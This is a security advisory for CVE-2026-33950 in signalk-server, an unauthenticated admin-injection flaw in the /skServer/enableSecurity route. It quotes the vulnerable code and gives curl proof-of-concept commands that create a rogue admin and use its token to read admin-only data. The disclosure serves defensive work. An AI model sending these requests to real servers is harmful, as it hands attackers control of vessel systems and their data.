CVE-2026-33950: signalk-server: Privilege Escalation by Admin Role Injection via /enableSecurity

Summary

According to SignalK's security documentation, when a server is first initialized without security enabled, the /skServer/enableSecurity endpoint is intentionally exposed to allow the owner to set up the initial admin account. This initial open access is by design.

However, the critical vulnerability is that this route is never deregistered or disabled after the initial successful setup. Even after the genuine administrator has created their account, restarted the server, and activated token security, the /skServer/enableSecurity route remains perpetually open.

Furthermore, the endpoint explicitly trusts the type field provided in the request body, passing it directly into the server's security configuration without validation. Because the route remains permanently listening, any unauthenticated user can call this endpoint at any time to silently inject a new, fully privileged admin account alongside the legitimate ones.

Vulnerable Root Cause

File: src/serverroutes.ts (Lines 685-754) if (app.securityStrategy.getUsers(getSecurityConfig(app)).length === 0) { app.post( ${SERVERROUTESPREFIX}/enableSecurity, (req: Request, res: Response) => { // ... function addUser(request: Request, response: Response, securityStrategy: SecurityStrategy, config?: any) { // [!VULNERABLE] Passes the entire JSON request body directly to the security strategy securityStrategy.addUser(config, request.body, (err, theConfig) => { // ... }) } } // ... No code disables or removes this route after first execution. // The conditional check on Line 685 only happens during server startup,

File: src/tokensecurity.ts (Lines 980-994) function addUser( theConfig: SecurityConfig, user: { userId: string; type: string; password?: string }, callback: ICallback<SecurityConfig> ): void { // ... const newUser: User = { username: user.userId, type: user.type // [!VULNERABLE] Blindly trusts the injected "type" field }

Proof of Concept (PoC)

Simulate Legitimate Initial Setup: Send a POST request to the open enableSecurity route defining the initial legitimate admin account. curl -X POST http://localhost:3000/skServer/enableSecurity \ -H "Content-Type: application/json" \ -d '{"userId": "admin", "password": "securepassword", "type": "admin"}'

Result: Security enabled

Inject Malicious Admin: Send the exact same request again to create a second, unauthorized admin account. This should ideally be blocked because security was already enabled.

curl -X POST http://localhost:3000/skServer/enableSecurity \ -H "Content-Type: application/json" \ -d '{"userId": "attacker", "password": "password123", "type": "admin"}'

Result: Security enabled (The vulnerability: The server fails to reject the request and creates the second admin).

Verify Both Admins Exist: Login via JWT as the attacker and query the restricted users endpoint.

Get Token for Attacker TOKEN=$(curl -s -X POST http://localhost:3000/signalk/v1/auth/login \ -H "Content-Type: application/json" \ -d '{"username": "attacker", "password": "password123"}' | jq -r .token) Access Admin-Only Data curl -H "Authorization: Bearer $TOKEN" http://localhost:3000/skServer/security/users Result: The system returns both admin and attacker as active Administrators.

<img width="1205" height="469" alt="Screenshot 2026-03-24 145906" src="https://github.com/user-attachments/assets/98855e54-cb78-4786-a9e3-63dcc1bed37a" />

Security Impact An unauthenticated attacker can gain full Administrator access to the SignalK server at any time, allowing them to modify sensitive vessel routing data, alter server configurations, and access restricted endpoints